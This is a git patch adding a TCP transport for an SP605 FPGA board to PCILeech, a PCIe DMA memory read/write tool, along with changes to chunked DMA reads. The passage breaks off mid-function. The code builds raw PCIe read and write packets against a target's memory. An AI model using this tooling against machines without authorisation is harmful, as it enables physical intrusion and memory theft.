From 4d4397084d4374cbbcf7c54e2e52d1f0136e10fa Mon Sep 17 00:00:00 2001 From: ufrisk Date: Wed, 18 Oct 2017 19:56:23 +0200 Subject: [PATCH] Version 2.4 --- pcileech/Android.mk | 2 +- pcileech/Makefile | 2 +- pcileech/device.c | 69 +++- pcileech/device.h | 6 +- pcileech/device605_601.c | 19 +- pcileech/device605_tcp.c | 495 +++++++++++++++++++++++++++++ pcileech/device605_tcp.h | 16 + pcileech/executor.c | 6 +- pcileech/extra.c | 4 +- pcileech/help.c | 6 +- pcileech/kmd.c | 16 +- pcileech/memdump.c | 4 +- pcileech/pcileech.c | 8 +- pcileech/pcileech.h | 5 +- pcileech/pcileech.vcxproj | 2 + pcileech/pcileech.vcxproj.filters | 6 + pcileech/shellcode.h | 274 ++++++++-------- pcileech/statistics.c | 61 ++-- pcileech/tlp.c | 45 ++- pcileech/util.c | 6 +- pcileech_files/pcileech | Bin 151224 -> 160512 bytes pcileech_files/pcileech.exe | Bin 299520 -> 307200 bytes pcileech_files/pcileech_gensig.cfg | 13 +- pcileech_files/unlock_win10x64.sig | 5 +- pcileech_files/wx64_unlock.ksh | Bin 2097 -> 2145 bytes pcileech_shellcode/lx64_vfs.c | 99 ++++-- pcileech_shellcode/wx64_unlock.c | 7 +- readme.md | 25 +- 28 files changed, 958 insertions(+), 243 deletions(-) create mode 100644 pcileech/device605_tcp.c create mode 100644 pcileech/device605_tcp.h diff --git a/pcileech/Android.mk b/pcileech/Android.mk index 71afc67..ad5bd1e 100644 --- a/pcileech/Android.mk +++ b/pcileech/Android.mk @@ -14,7 +14,7 @@ LOCAL_CFLAGS := -D ANDROID LOCAL_LDLIBS := -L$(LOCAL_PATH)/lib -llog -g LOCAL_C_INCLUDES := bionic -LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c device605_uart.c device605_601.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c +LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c device605_uart.c device605_601.c device605_tcp.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c LOCAL_MODULE := pcileech LOCAL_SHARED_LIBRARIES += libusb1.0 diff --git a/pcileech/Makefile b/pcileech/Makefile index b0aef7d..c083d97 100644 --- a/pcileech/Makefile +++ b/pcileech/Makefile @@ -1,7 +1,7 @@ CC=gcc CFLAGS=-I. -D LINUX -pthread `pkg-config libusb-1.0 --libs --cflags` DEPS = pcileech.h -OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o device605_uart.o device605_601.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o +OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o device605_uart.o device605_601.o device605_tcp.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o %.o: %.c $(DEPS) $(CC) -c -o $@ $< $(CFLAGS) diff --git a/pcileech/device.c b/pcileech/device.c index afc560b..e86ed90 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -9,6 +9,14 @@ #include "device3380.h" #include "device605_uart.h" #include "device605_601.h" +#include "device605_tcp.h" + +typedef struct tdREAD_DMA_EX_MEMORY_MAP { + BOOL fProbeExecuted; + QWORD qwAddrBase; + DWORD cPages; + PBYTE pb; +} READ_DMA_EX_MEMORY_MAP, *PREAD_DMA_EX_MEMORY_MAP; BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { @@ -18,12 +26,26 @@ BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE return ctx->cfg->dev.pfnReadDMA ? ctx->cfg->dev.pfnReadDMA(ctx, qwAddr, pb, cb) : FALSE; } +BOOL DeviceReadDMAEx_IsMemoryMapOK(_In_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD qwAddr, _In_ DWORD dwSize) +{ + DWORD i; + DWORD cPages = (dwSize + 0xfff) / 0x1000; + DWORD cPageStart = (DWORD)(((qwAddr + 0xfff) - pMemoryMap->qwAddrBase) / 0x1000); + for(i = cPageStart; i < cPageStart + cPages; i++) { + if(0 == pMemoryMap->pb[i]) { + return FALSE; + } + } + return TRUE; +} + #define CHUNK_FAIL_DIVISOR 16 -DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo) +DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo, _Inout_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD flags) { DWORD cbRd, cbRdOff; DWORD cbChunk, cChunkTotal, cChunkSuccess = 0; DWORD i, cbSuccess = 0; + BOOL result; // calculate current chunk sizes cbChunk = ~0xfff & min(cb, cbMaxSizeIo); cbChunk = (cbChunk > 0x3000) ? cbChunk : 0x1000; @@ -33,29 +55,51 @@ DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _ for(i = 0; i < cChunkTotal; i++) { cbRdOff = i * cbChunk; cbRd = ((i == cChunkTotal - 1) && (cb % cbChunk)) ? (cb % cbChunk) : cbChunk; // (last chunk may be smaller) - if(DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0)) { + result = + DeviceReadDMAEx_IsMemoryMapOK(pMemoryMap, qwAddr + cbRdOff, cbRd) && + DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0); + if(!result && !pMemoryMap->fProbeExecuted && ctx->cfg->dev.pfnProbeDMA) { // probe memory on 1st fail (if supported) + DeviceProbeDMA(ctx, pMemoryMap->qwAddrBase, pMemoryMap->cPages, pMemoryMap->pb); + pMemoryMap->fProbeExecuted = TRUE; + } + if(result) { cbSuccess += cbRd; PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, cbRd / 0x1000, 0); + } else if(flags & PCILEECH_FLAG_MEM_EX_FASTFAIL) { + PageStatUpdate(pPageStat, qwAddr + cb, 0, (cb - cbRdOff) / 0x1000); + return cbSuccess; } else if(cbRd == 0x1000) { + ZeroMemory(pb + cbRdOff, cbRd); PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, 0, 1); } else { - cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR); + cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR, pMemoryMap, flags); } } return cbSuccess; } -DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat) +DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags) { + READ_DMA_EX_MEMORY_MAP oMemoryMap; BYTE pbWorkaround[4096]; - DWORD cbWorkaround; + DWORD cbDataRead; + // set probe memory map to all mem readable + oMemoryMap.fProbeExecuted = FALSE; + oMemoryMap.qwAddrBase = qwAddr & ~0xfff; + oMemoryMap.cPages = (cb + 0xfff) / 0x1000; + oMemoryMap.pb = LocalAlloc(0, oMemoryMap.cPages); + if(!oMemoryMap.pb) { return 0; } + memset(oMemoryMap.pb, 0x01, oMemoryMap.cPages); + // read memory (with strange workaround for 1-page reads...) if(cb != 0x1000) { - return DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo); + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); + } else { + // why is this working ??? if not here console is screwed up... (threading issue?) + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); + memcpy(pb, pbWorkaround, 0x1000); } - // why is this working ??? if not here console is screwed up... (threading issue?) - cbWorkaround = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo); - memcpy(pb, pbWorkaround, 0x1000); - return cbWorkaround; + LocalFree(oMemoryMap.pb); + return cbDataRead; } BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) @@ -116,6 +160,9 @@ BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx) if(PCILEECH_DEVICE_SP605_UART == ctx->cfg->dev.tp) { result = Device605_UART_Open(ctx); } + if(PCILEECH_DEVICE_SP605_TCP == ctx->cfg->dev.tp) { + result = Device605_TCP_Open(ctx); + } return result; } @@ -135,6 +182,6 @@ BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE } else if(flags || cb == 0x1000) { return DeviceReadDMA(ctx, qwAddr, pb, cb, flags); } else { - return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL); + return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL, 0); } } diff --git a/pcileech/device.h b/pcileech/device.h index 416dec8..c9007e6 100644 --- a/pcileech/device.h +++ b/pcileech/device.h @@ -11,6 +11,9 @@ #define PCILEECH_MEM_FLAG_RETRYONFAIL 0x01 #define PCILEECH_MEM_FLAG_VERIFYWRITE 0x02 +// return all fail on first fail instead of trying to re-read in smaller chunks. +#define PCILEECH_FLAG_MEM_EX_FASTFAIL 0x01 + /* * Open a USB connection to the target device. * -- ctx @@ -44,10 +47,11 @@ BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE * -- pb * -- cb * -- pPageStat = optional page statistics +* -- flags = PCILEECH_FLAG_MEM_EX_* flags * -- return = the number of bytes successfully read. * */ -DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat); +DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags); /* * Write data to the target system using DMA. diff --git a/pcileech/device605_601.c b/pcileech/device605_601.c index 3172a53..448bed1 100644 --- a/pcileech/device605_601.c +++ b/pcileech/device605_601.c @@ -29,8 +29,8 @@ #define FPGA_LOOP_TX_VALID 0x77010000 #define SP605_601_PROBE_MAXPAGES 0x400 -#define SP601_601_MAX_SIZE_RX 0x001e000 // in data bytes (excl. overhead/TLP headers) -#define SP601_601_MAX_SIZE_TX 0x0002000 // in total data (incl. overhead/TLP headers) +#define SP605_601_MAX_SIZE_RX 0x0001e000 // in data bytes (excl. overhead/TLP headers) +#define SP605_601_MAX_SIZE_TX 0x00002000 // in total data (incl. overhead/TLP headers) #define ENDIAN_SWAP_WORD(x) (x = (x << 8) | (x >> 8)) #define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) @@ -186,7 +186,7 @@ BOOL Device605_601_TxTlp(_In_ PDEVICE_CONTEXT_SP605_601 ctx, _In_ PBYTE pbTlp, _ } ctx->txbuf.cb += cbTx; // transmit - if((ctx->txbuf.cb > SP601_601_MAX_SIZE_TX) || (fFlush && ctx->txbuf.cb)) { + if((ctx->txbuf.cb > SP605_601_MAX_SIZE_TX) || (fFlush && ctx->txbuf.cb)) { status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, ctx->txbuf.pb, ctx->txbuf.cb, &cbTxed, NULL); ctx->txbuf.cb = 0; return (0 == status); @@ -209,7 +209,7 @@ VOID Device605_601_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_SP605_601 ctx) ctx->dev.pfnFT_AbortPipe(ctx->dev.hFTDI, 0x82); return; } - if(ctx->rxbuf.cb % 8) { + if((ctx->rxbuf.cb % 8) && (ctx->rxbuf.cb > 4)) { printf("Device Info: SP605 / FT601: Bad read from device. Should not happen!\n"); return; } @@ -245,7 +245,7 @@ BOOL Device605_601_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA BOOL is32; PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; - if(cb > SP601_601_MAX_SIZE_RX) { return FALSE; } + if(cb > SP605_601_MAX_SIZE_RX) { return FALSE; } if(qwAddr % 0x1000) { return FALSE; } if((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } if((cb < 0x1000) && (cb % 0x8)) { return FALSE; } @@ -267,8 +267,7 @@ BOOL Device605_601_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA hdrRd32->FirstBE = 0xf; hdrRd32->LastBE = 0xf; hdrRd32->Address = (DWORD)(qwAddr + o); - } - else { + } else { hdrRd64->h.TypeFmt = TLP_MRd64; hdrRd64->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); hdrRd64->RequesterID = ctx->wDeviceId; @@ -446,16 +445,16 @@ BOOL Device605_601_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) if(!ctx->dev.hFTDI) { goto fail; } Device605_601_GetDeviceID_FpgaVersion(ctx); if(!ctx->wDeviceId) { goto fail; } - ctx->rxbuf.cbMax = (DWORD)(2.3 * SP601_601_MAX_SIZE_RX); // buffer size tuned to lowest possible (+margin) for performance. + ctx->rxbuf.cbMax = (DWORD)(2.3 * SP605_601_MAX_SIZE_RX); // buffer size tuned to lowest possible (+margin) for performance. ctx->rxbuf.pb = LocalAlloc(0, ctx->rxbuf.cbMax); if(!ctx->rxbuf.pb) { goto fail; } - ctx->txbuf.cbMax = SP601_601_MAX_SIZE_TX + 0x10000; + ctx->txbuf.cbMax = SP605_601_MAX_SIZE_TX + 0x10000; ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); if(!ctx->txbuf.pb) { goto fail; } ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; // set callback functions and fix up config ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_FT601; - ctxPcileech->cfg->dev.qwMaxSizeDmaIo = SP601_601_MAX_SIZE_RX; + ctxPcileech->cfg->dev.qwMaxSizeDmaIo = SP605_601_MAX_SIZE_RX; ctxPcileech->cfg->dev.qwAddrMaxNative = 0x0000ffffffffffff; ctxPcileech->cfg->dev.fPartialPageReadSupported = TRUE; ctxPcileech->cfg->dev.pfnClose = Device605_601_Close; diff --git a/pcileech/device605_tcp.c b/pcileech/device605_tcp.c new file mode 100644 index 0000000..f627647 --- /dev/null +++ b/pcileech/device605_tcp.c @@ -0,0 +1,495 @@ +// device605_tcp.c : implementation related to the Xilinx SP605 dev board flashed with @d_olex bitstream. +// +// (c) Ulf Frisk & @d_olex, 2017 +// +#ifdef WIN32 + +#include + +#pragma comment(lib, "ws2_32.lib") + +#else + +#include +#include +#include + +#define SOCKET int + +#define closesocket(_s_) close((_s_)) + +#define INVALID_SOCKET -1 +#define SOCKET_ERROR -1 + +#endif + +#ifdef WIN32 +#include +#endif + +typedef struct _PCIE_CTL { + unsigned char flags; // see PCIE_F_* + unsigned int data; +} +#if defined(LINUX) || defined(ANDROID) +__attribute__((packed)) +#endif +PCIE_CTL; + +#ifdef WIN32 +#include +#endif + +#include "device605_tcp.h" +#include "device.h" +#include "tlp.h" +#include "util.h" + +//------------------------------------------------------------------------------- +// FPGA/SP605/TCP defines below. +//------------------------------------------------------------------------------- + +#define PCIE_F_HAS_DATA 0x01 // PCIE_CTL has TLP dword to send +#define PCIE_F_RECV_REPLY 0x02 // receive reply TLP +#define PCIE_F_TLAST 0x04 // last TLP dword +#define PCIE_F_TIMEOUT 0x08 // TLP receive timeout occured +#define PCIE_F_ERROR 0x10 // some error occured +#define PCIE_F_STATUS 0x20 // get PCI-E link status + +#define TLP_RX_SIZE 128 +#define TLP_RX_MAX_SIZE 1024 + +#define SP605_PROBE_MAXPAGES 1024 +#define SP605_TCP_MAX_SIZE_RX 0x00001000 +#define SP605_TCP_MAX_SIZE_TX 0x00001000 + +#define ENDIAN_SWAP_WORD(x) (x = (x << 8) | (x >> 8)) +#define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) + +#define DEFAULT_PORT 28472 + +typedef struct tdDEVICE_CONTEXT_SP605_TCP { + SOCKET Sock; + WORD wDeviceId; + BOOL isPrintTlp; + PTLP_CALLBACK_BUF_MRd pMRdBuffer; + struct { + PBYTE pb; + DWORD cb; + DWORD cbMax; + } rxbuf; + struct { + PBYTE pb; + DWORD cb; + DWORD cbMax; + } txbuf; + BOOL(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted); +} DEVICE_CONTEXT_SP605_TCP, *PDEVICE_CONTEXT_SP605_TCP; + +//------------------------------------------------------------------------------- +// FPGA/SP605/TCP implementation below. +//------------------------------------------------------------------------------- + +SOCKET Device605_TCP_Connect(_In_ DWORD Addr, _In_ WORD Port) +{ + SOCKET Sock = 0; + struct sockaddr_in sAddr; + sAddr.sin_family = AF_INET; + sAddr.sin_port = htons(Port); + sAddr.sin_addr.s_addr = Addr; + if ((Sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) { + if (connect(Sock, (struct sockaddr *)&sAddr, sizeof(sAddr)) != SOCKET_ERROR) { return Sock; } + fprintf(stderr, "ERROR: connect() fails\n"); + closesocket(Sock); + } + else { + fprintf(stderr, "ERROR: socket() fails\n"); + } + return 0; +} + +WORD Device605_TCP_GetDeviceID(_In_ PDEVICE_CONTEXT_SP605_TCP ctx605) +{ + PCIE_CTL Rx, Tx; + DWORD cbRead; + Tx.flags = PCIE_F_STATUS; + Tx.data = 0; + if (send(ctx605->Sock, (const char *)&Tx, sizeof(Tx), 0) != sizeof(Tx)) { + fprintf(stderr, "ERROR: send() fails\n"); + return 0; + } + cbRead = 0; + while (cbRead < sizeof(Rx)) { + DWORD len = recv(ctx605->Sock, (char *)&Rx + cbRead, sizeof(Rx) - cbRead, 0); + if (len == SOCKET_ERROR || len == 0) { + fprintf(stderr, "ERROR: recv() fails\n"); + return 0; + } + cbRead += len; + } + if (!(Rx.flags & (PCIE_F_STATUS | PCIE_F_HAS_DATA))) { return 0; } + if (Rx.data == 0) { + fprintf(stderr, "ERROR: PCI-E endpoint is not configured by root complex yet\n"); + } + return (WORD)Rx.data; +} + +VOID Device605_TCP_Close(_Inout_ PPCILEECH_CONTEXT ctxPcileech) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + if (!ctx) { return; } + if (ctx->Sock) { closesocket(ctx->Sock); } + if (ctx->rxbuf.pb) { LocalFree(ctx->rxbuf.pb); } + if (ctx->txbuf.pb) { LocalFree(ctx->txbuf.pb); } + LocalFree(ctx); + ctxPcileech->hDevice = 0; +} + +BOOL Device605_TCP_TxTlp(_In_ PDEVICE_CONTEXT_SP605_TCP ctx, _In_ PBYTE pbTlp, _In_ DWORD cbTlp, BOOL fFlush) +{ + PBYTE pbTx; + DWORD i, cbTx, len, Total = 0; + PCIE_CTL *Tx, *Last = NULL; + if (cbTlp & 0x3) { return FALSE; } + if (cbTlp > 2048) { return FALSE; } + if (ctx->isPrintTlp) { + TLP_Print(pbTlp, cbTlp, TRUE); + } + // prepare transmit buffer + pbTx = ctx->txbuf.pb + ctx->txbuf.cb; + cbTx = sizeof(PCIE_CTL) * cbTlp; + for (Tx = (PCIE_CTL *)pbTx, i = 0; i < cbTlp; Tx++, i += 4) { + Tx->data = ENDIAN_SWAP_DWORD(*(PDWORD)(pbTlp + i)); + Tx->flags = PCIE_F_HAS_DATA; + Last = Tx; + } + if (Last) { + Last->flags |= PCIE_F_TLAST; + } + ctx->txbuf.cb += cbTx; + // transmit + if (ctx->txbuf.cb && (fFlush || (ctx->txbuf.cb > ctx->txbuf.cbMax - 0x1000))) { + while (Total < ctx->txbuf.cb) { + len = send(ctx->Sock, (const char *)ctx->txbuf.pb + Total, ctx->txbuf.cb - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: send() fails\n"); + return FALSE; + } + Total += len; + } + ctx->txbuf.cb = 0; + } + return TRUE; +} + +BOOL Device605_TCP_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_SP605_TCP ctx) +{ + DWORD i = 0, cdwTlp = 0, Total = 0, len; + PCIE_CTL Rx, Tx; + BYTE pbTlp[TLP_RX_MAX_SIZE]; + PDWORD pdwTlp = (PDWORD)pbTlp; + PDWORD pdwRx = (PDWORD)ctx->rxbuf.pb; + Tx.flags = PCIE_F_RECV_REPLY | PCIE_F_TIMEOUT; + Tx.data = 0; + while (Total < sizeof(Tx)) { + len = send(ctx->Sock, (const char *)&Tx + Total, sizeof(Tx) - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: send() fails\n"); + return FALSE; + } + Total += len; + } + while (cdwTlp < TLP_RX_MAX_SIZE / sizeof(DWORD)) { + Total = 0; + while (Total < sizeof(Rx)) { + len = recv(ctx->Sock, (char *)&Rx + Total, sizeof(Rx) - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: recv() fails\n"); + return FALSE; + } + Total += len; + } + if (Rx.flags & PCIE_F_ERROR) { + fprintf(stderr, "ERROR: failed to receive TLP\n"); + return FALSE; + } + if (!(Rx.flags & PCIE_F_HAS_DATA)) { return FALSE; } + pdwTlp[cdwTlp] = ENDIAN_SWAP_DWORD(Rx.data); + cdwTlp++; + if (Rx.flags & PCIE_F_TLAST) { + if (cdwTlp >= 3) { + if (ctx->isPrintTlp) { + TLP_Print(pbTlp, cdwTlp << 2, FALSE); + } + if (ctx->hRxTlpCallbackFn) { + ctx->hRxTlpCallbackFn(ctx->pMRdBuffer, pbTlp, cdwTlp << 2, NULL); + } + } + else { + fprintf(stderr, "WARNING: BAD PCIe TLP RECEIVED! THIS SHOULD NOT HAPPEN!\n"); + return FALSE; + } + break; + } + } + return TRUE; +} + +BOOL Device605_TCP_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + TLP_CALLBACK_BUF_MRd rxbuf; + DWORD tx[4], o = 0, i; + BOOL is32; + PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; + PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; + if (cb > SP605_TCP_MAX_SIZE_RX) { return FALSE; } + if (qwAddr % 0x1000) { return FALSE; } + if ((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } + if ((cb < 0x1000) && (cb % 0x8)) { return FALSE; } + // prepare + ctx->pMRdBuffer = &rxbuf; + ctx->hRxTlpCallbackFn = TLP_CallbackMRd; + // transmit TLPs + while (o < cb) { + rxbuf.cb = 0; + rxbuf.pb = pb + o; + rxbuf.cbMax = TLP_RX_SIZE; + memset(tx, 0, 16); + is32 = qwAddr + o < 0x100000000; + if (is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = (TLP_RX_SIZE >> 2); + hdrRd32->RequesterID = ctx->wDeviceId; + hdrRd32->Tag = 0; + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0xf; + hdrRd32->Address = (DWORD)(qwAddr + o); + } + else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd64->h.Length = (TLP_RX_SIZE >> 2); + hdrRd64->RequesterID = ctx->wDeviceId; + hdrRd64->Tag = 0; + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0xf; + hdrRd64->AddressHigh = (DWORD)((qwAddr + o) >> 32); + hdrRd64->AddressLow = (DWORD)(qwAddr + o); + } + for (i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(tx[i]); + } + if (!Device605_TCP_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, TRUE) || + !Device605_TCP_RxTlpSynchronous(ctx)) { + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return FALSE; + } + if (rxbuf.cb == 0) { + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return FALSE; + } + o += rxbuf.cb; + } + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return TRUE; +} + +VOID Device605_TCP_ProbeDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _In_ DWORD cPages, _Out_ __bcount(cPages) PBYTE pbResultMap) +{ + DWORD i, j; + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + TLP_CALLBACK_BUF_MRd bufMRd; + DWORD tx[4]; + BOOL is32; + PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; + PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; + // split probe into processing chunks if too large... + while (cPages > SP605_PROBE_MAXPAGES) { + Device605_TCP_ProbeDMA(ctxPcileech, qwAddr, SP605_PROBE_MAXPAGES, pbResultMap); + cPages -= SP605_PROBE_MAXPAGES; + pbResultMap += SP605_PROBE_MAXPAGES; + qwAddr += SP605_PROBE_MAXPAGES << 12; + } + memset(pbResultMap, 0, cPages); + // prepare + bufMRd.cb = 0; + bufMRd.pb = pbResultMap; + bufMRd.cbMax = cPages; + ctx->pMRdBuffer = &bufMRd; + ctx->hRxTlpCallbackFn = TLP_CallbackMRdProbe; + // transmit TLPs + for (i = 0; i < cPages; i++) { + memset(tx, 0, 16); + is32 = qwAddr + (i << 12) < 0x100000000; + if (is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = 1; + hdrRd32->RequesterID = ctx->wDeviceId; + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0; + hdrRd32->Address = (DWORD)(qwAddr + (i << 12) + ((i & 0x1f) << 2)); // 5 low address bits coded into the dword read. + hdrRd32->Tag = (BYTE)((i >> 5) & 0x1f); // 5 high address bits coded into tag. + } + else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd64->h.Length = 1; + hdrRd64->RequesterID = ctx->wDeviceId; + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0; + hdrRd64->AddressHigh = (DWORD)((qwAddr + (i << 12)) >> 32); + hdrRd64->AddressLow = (DWORD)(qwAddr + (i << 12) + ((i & 0x1f) << 2)); // 5 low address bits coded into the dword read. + hdrRd64->Tag = (BYTE)((i >> 5) & 0x1f); // 5 high address bits coded into tag. + } + for (j = 0; j < 4; j++) { + ENDIAN_SWAP_DWORD(tx[j]); + } + if(!Device605_TCP_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, TRUE) || !Device605_TCP_RxTlpSynchronous(ctx)) { + goto err; + } + } +err: + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; +} + +// write max 128 byte packets. +BOOL Device605_TCP_WriteDMA_TXP(_Inout_ PDEVICE_CONTEXT_SP605_TCP ctx, _In_ QWORD qwA, _In_ BYTE bFirstBE, _In_ BYTE bLastBE, _In_ PBYTE pb, _In_ DWORD cb) +{ + DWORD txbuf[36], i, cbTlp; + PBYTE pbTlp = (PBYTE)txbuf; + PTLP_HDR_MRdWr32 hdrWr32 = (PTLP_HDR_MRdWr32)txbuf; + PTLP_HDR_MRdWr64 hdrWr64 = (PTLP_HDR_MRdWr64)txbuf; + memset(pbTlp, 0, 16); + if (qwA < 0x100000000) { + hdrWr32->h.TypeFmt = TLP_MWr32; + hdrWr32->h.Length = (WORD)(cb + 3) >> 2; + hdrWr32->FirstBE = bFirstBE; + hdrWr32->LastBE = bLastBE; + hdrWr32->RequesterID = ctx->wDeviceId; + hdrWr32->Address = (DWORD)qwA; + for (i = 0; i < 3; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 12, pb, cb); + cbTlp = (12 + cb + 3) & ~0x3; + } + else { + hdrWr64->h.TypeFmt = TLP_MWr64; + hdrWr64->h.Length = (WORD)(cb + 3) >> 2; + hdrWr64->FirstBE = bFirstBE; + hdrWr64->LastBE = bLastBE; + 